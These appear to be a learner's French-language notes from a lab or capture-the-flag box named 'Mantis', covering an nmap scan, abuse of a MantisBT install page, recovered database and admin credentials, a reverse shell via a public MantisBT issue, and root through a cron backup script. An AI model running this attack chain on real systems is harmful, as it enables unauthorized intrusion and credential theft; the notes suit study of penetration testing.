
sudo nmap -sVC -p- 192.168.116.204 --open             
[sudo] password for alice: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-07 21:01 CEST
Nmap scan report for 192.168.116.204
Host is up (0.018s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Slick - Bootstrap 4 Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
3306/tcp open  mysql   MariaDB 5.5.5-10.3.34
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.34-MariaDB-0ubuntu0.20.04.1
|   Thread ID: 18
|   Capabilities flags: 63486
|   Some Capabilities: SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolOld, 
ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient, 
IgnoreSigpipes, DontAllowDatabaseTableColumn, LongColumnFlag, IgnoreSpaceBeforeParenthesis, 
FoundRows, ODBCClient, Support41Auth, SupportsMultipleResults, SupportsAuthPlugins, 
SupportsMultipleStatments
|   Status: Autocommit
|   Salt: o%gZj+1S2?'D_2y-pnXO
|_  Auth Plugin Name: mysql_native_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.77 seconds

Linux - Mantis :)
lundi 7 juillet 2025 20:56
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https://nmap.org
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https://mantisbt.org/bugs/view.php?id=23173

http://192.168.133.204/bugtracker/admin/install.php
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install=3&admin_username=admin&admin_password=admin&log_queries=1&go=Install%
2FUpgrade+Database&hostname=127.0.0.1

Root
SuperSequelPassword

On va se connecter à la database : 
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Administrator : c7870d0b102cfb2f4916ff04e47b5c6f
prayingmantis

Cookie : Tgl-0N5B643JKwIwNgD9s5dKRU_gdBsXawwO7p3ZaGM2ZI4gckyB84AmBRq-IFA7
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Je suis le tuto du gars sur ce site : 
https://mantisbt.org/bugs/view.php?id=26091
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Je ne vois pas l'affichage. Donc je vais faire une technique pour savoir si le site fait une demande ou 
une action. 

Je relance la page : 

http://192.168.133.204/bugtracker/workflow_graph_img.php

Et j'ai bien une requête. 

j'essaye avec le reverse shell : 

Et j'ai le reverse !!

YESS!!! Sans regarder de soluce !!

Je lance avec pspy64 : 

2025/07/08 20:49:01 CMD: UID=0     PID=191634 | /usr/sbin/CRON -f 
2025/07/08 20:49:01 CMD: UID=1000  PID=191636 | bash /home/mantis/db_backups/backup.sh 
2025/07/08 20:49:01 CMD: UID=1000  PID=191637 | bash /home/mantis/db_backups/backup.sh 
2025/07/08 20:50:01 CMD: UID=1000  PID=191665 | mysqldump -u bugtracker -pBugTracker007 
bugtracker 
2025/07/08 20:50:01 CMD: UID=1000  PID=191664 | bash /home/mantis/db_backups/backup.sh 
2025/07/08 20:50:01 CMD: UID=1000  PID=191663 | /bin/sh -c bash 
/home/mantis/db_backups/backup.sh 
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Peut-être remplacer le backup.sh par un shell. Vu que le PID est 1000 (root?)

Et voilà !!!

Je suis contente de l'avoir réussis solo :) 
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